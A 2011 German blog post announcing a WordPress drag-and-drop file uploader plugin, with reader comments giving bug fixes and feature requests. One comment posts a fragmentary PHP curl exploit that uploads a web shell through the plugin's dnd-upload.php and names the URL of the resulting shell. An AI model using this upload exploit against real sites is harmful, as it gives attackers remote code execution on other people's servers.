09
Mär
2011

WordPress Plugin: Drag & Drop File Uploader

38

Meine SoftwareDateien mit WordPress hochzuladen war schon immer eine lästige Angelegenheit. Einige Browser unterstützen mittlerweile bereits die FileReader-API von HTML5. Ich habe um das zu ändern ein WordPress-Plugin geschrieben, das auf Sebastian Tschan’s großartigem jQuery File Uploader basiert.

Das Plugin fügt unter dem Artikel-Editor eine Box hinzu auf die man direkt Dateien aus dem Dateimanager ziehen kann. Bilder werden dann direkt in den aktuellen Artikel eingefügt. Man kann sogar mehrere Dateien zur selben Zeit hinzufügen.

Das ist die erste Version des Plugins. Mit ihr gibt es noch einige Probleme, die ich jedoch bald ausmerzen werde. Wenn ihr Anregungen habt oder ihr das Plugin genauso nützlich findet wie ich, dann lasst es mich in den Kommentaren wissen!

 

Download

Im WordPress-Plugin Directory oder

Wordpress Drag & Drop File Uploader 0.1 (32.23 kB) - 920 hits

Browserunterstützung

Das Plugin funktioniert mit den folgenden Browsern:

  • Google Chrome – 7+
  • Apple Safari – 5+ ¹
  • Mozilla Firefox – 3.6+

¹ Drag & Drop wird in der Windows Version von Safari nicht unterstützt.

Related Posts

  1. text-expander-post-picture WordPress Plugin: Text Expander
  2. jumplist-launcher-version-5-article-picture Jumplist-Launcher Update Version 5 – drag’n'drop und vertauschte Icons
  3. text-expander-update Text Expander 0.3 mit Einstellungen und Button im Editor
  • mohammed

    don’t use this plugin

    Vuln page : http://mysite.com/wp-content/plugins/drag-drop-file-uploader/dnd-upload.php

    exploit :

    “@$u”));

    curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);

    $e = curl_exec($c);

    curl_close($c);

    echo $e;

    ?>

    Shell access : http://mysite.com/wp-content/uploads/YYYY/MM/shell.php.jpg

  • hans

    This looks awesome, can you make it to work in a normal wp page? so that visitors can upload an image for print.
    preferably with no upload size limit
    Regards, Hans

  • Lian00

    The change name tip does not work for me in FF8. I’ve got this message: {“id”:234,”post_id”:”209″} (I suppose media id and post id)

  • Chris Nemes

    I received a 404 error.
    Here’s how I fixed it:

    After installing, I renamed the plugin folder to dnd-file-uploader.And then just reactivated the plugin. It works very nicely on Chrome 7! Thank you! :)

    • http://www.ali.dj Hedgehog

      Thanks for the information. I finally need to fix this.

  • http://dreamdare.org Info

    Your code is asking for a directory that doesn’t exist. Either change the plugin name in the code or the directory to “dnd-file-uploader”. Other than that it works fine. It would be a good idea to wrap the images in  so all the images show centered rather than next to each other. Most people add the images that way to their posts and this would cut down on editing every single image. One more suggestion is to enable the drag and drop for pages too. 

    Thanks fr the great plugin. This feature should make it to the wp core, as it’s been long overdue. 

  • Erik

    Dear all,

    I think this plugin is a great idea, but what about having some options that lets you:

    1. Chose to let all files be private, and NOT added to the post publicly, and also saved in a directory below the public_html so that only admins or authors can see the files

    2. Choose if to have file extension check or not, so that you can choose to let users upload whatever they want

    I run a website where we would love to share some information related to the posts we write, but we would like to keep those private and only visible for authors. WIth those two above mentioned changes this would kick ass :)

    Best regards,
    Erik

    • http://www.ali.dj Hedgehog

      1. The next version will contain a second drop-area which brings up the settings-modal box for images. You should be able to set everything as you please from there.

      2. You mean that for example the user can not only upload images but also other allowed files, like zip-files?

    • Erik

      Yes, and yes.

      I would like to upload .pdf / .docx / .zip / .tar etc. and have this visible to authoried authors only. That would kick ass :)

      Best regards,
      Erik

  • Roger

    Hi,
    I have spent some time looking into this and It seems this plugin has been updated so reguralry that its hard to workout how to implement the upgrades into wordpress. Can you give me a starting point and i would be happy to explore this further…  

    Thanks

  • Roger

    How would i implement an upload filesize limit?
    I have been going through Sebastian Tschan’s documentation on his page at github but cant seem to implement it in to word press.
    Can you give me a rough guide of where to start? 

    • http://www.ali.dj Hedgehog

      Hey Roger,

      Give me some time to look into this. I’ll get back to you.

  • Roger

    Ok,
    I have figured out the problem.
    In dnd-file-uploader.php change /dnd-file-uploader/ to /drag-drop-file-uploader/.

    Also your link to the plugin page also need to be fixed it resulting in 404 error…
    Any way thanks again for a great plugin… :)

    • http://www.ali.dj Hedgehog

      I’m glad you could figure it out yourself.
      I’ll update the plugin in the next days.

  • Roger

    I have applied all the coding below…

  • Rdscos

    Thanks for a great plugin!
    I am struggling to get it to work though.
    Can you help me 

    • http://www.ali.dj Hedgehog

      I just sent you a mail. Please provide more details about what you experience with the plugin.

  • Landor

    For WP 3.1.3
    in dnd-medialink.php, the line$id = (isset($_GET['id']) && !empty($_GET['id'])) ? $_GET['id'] : 0;
    needs to be moved to below the requires. Something in them empties the $id var and so we get empty image in the editor.

    • Anonymous

      Thanks for this tip Landor. I’ll include it as soon as possible.

  • http://twitter.com/RocketApp RocketApp

    Bei mir wird kein grüner Bereich angezeigt. Wäre wenn es funktioniert ein super plugin. wann kommt das Update ?

    • Anonymous

      Ich habe noch ein paar Sachen vorher zu erledigen, aber es steht weit oben auf meiner Prioritätenliste, da dieses Plugin hohes Potential hat.

  • copy writing service

    I really appreciate this copy writing service

  • http://customessays.ws/prices.php buy essay

    This plugin is very useful for processing of music. I’ll use it in my work.

  • landor

    some bug fixes:

    paths were not being written correctly:

    - $dnd_fileupload_dir = plugins_url(‘/dnd-file-uploader/’, dirname(__FILE__));
    + $dnd_fileupload_dir = plugins_url(‘/’, __FILE__);

    add support for custom post types:

    - add_meta_box( ‘dnd_metabox’, ‘Upload box’, ‘dnd_file_uploader_metabox’, ‘post’, ‘normal’, ‘high’ );
    + $args = array(
    + ‘show_ui’ => true,
    + );
    + $post_types = get_post_types($args);
    + foreach ($post_types as $post_type) {
    + add_meta_box( ‘dnd_metabox’, ‘Upload box’, ‘dnd_file_uploader_metabox’, $post_type, ‘normal’, ‘high’ );
    + }

    • Anonymous

      Thanks for the fixes.
      I’ll put them in the next version.

  • Lian00

    And it breaks the media upload button ! I will give you connexion information. Just send me an email (do you get my email with Disqus ?)

    • Anonymous

      I sent you a mail.

  • Lian00

    Google Chrome 10 and Firefox 3.6.1 (and Maxthon 3 Webkit)

    • Anonymous

      Can you make that wordpress-installation available online and create a user for me so I can check it out myself?

  • Lian00

    Hello,
    your plugin is not working on my test blog (default theme, no plugin). I’ve got no “green zone” and admin sidebar is blocked ! (no way to develop the menus). See here http://tinypic.com/r/11idc88/7

    • Anonymous

      Which browser are you using?

    • Embush33

      i’ve the same problem .. if u find a solution, i need too
      bb

    • landor

      Your symptoms are the same as mine. If you know what you are doing, apply the changes I submitted as comment above. Otherwise, your problem should be solved in the next version.

  • http://www.facebook.com/ashfame Ashish Saini

    Okay! I will summarise things.

    First suggestion was that it would be great to have options whether the user wants to use image uploads as attachments (default) or can make a switch to just use them without image being saved in the database as attachment. Just equivalent to a ftp upload and then inserting the tag.

    Second one was that the plugin could support (at a later date), the different sizes of image which are created on regular WordPress uploads (thumbnail, medium, large – Settings > Media) and this too with a switch that user can turn it on/off as I might not be using different sizes of images other than the size of what I upload, so cropping and keeping different size copies will be redundant.

    This will make users of different segment happy. What do you think?

  • http://www.facebook.com/ashfame Ashish Saini

    Hi Hedge,

    Awesome plugin! I never thought someone would build up the plugin on my idea so fast. Great work!
    I am myself a developer but not a hard core one.
    I wanted to let you know, that it works great, just like I would expect it to. The attachments are unattached though.

    Let me know if I can help with anything else.

    Regards
    Ashfame

    • http://www.facebook.com/ashfame Ashish Saini

      Also, I am sure you already know about dealing with the multiple sizes of images uploaded and it would be a good idea to build that with options so as to flip the switch as per needs. On some blogs, I would require this feature and on some, I wouldn’t want multiple copies being created which I won’t use.

    • http://www.facebook.com/ashfame Ashish Saini

      Also, it would be great to have a switch to just make it work without using post_type attachments (equivalent to ftp upload), and just fill in the image tag as bloating up the database with several attachments is not always a good idea.

      I hope you find my suggestions helpful.

    • Anonymous

      I’ll have to check out the other upload-options available.
      Up until now I only used WordPress’ internal media-library.

      I don’t understand your last comment though.
      Can you explain this a bit more in detail?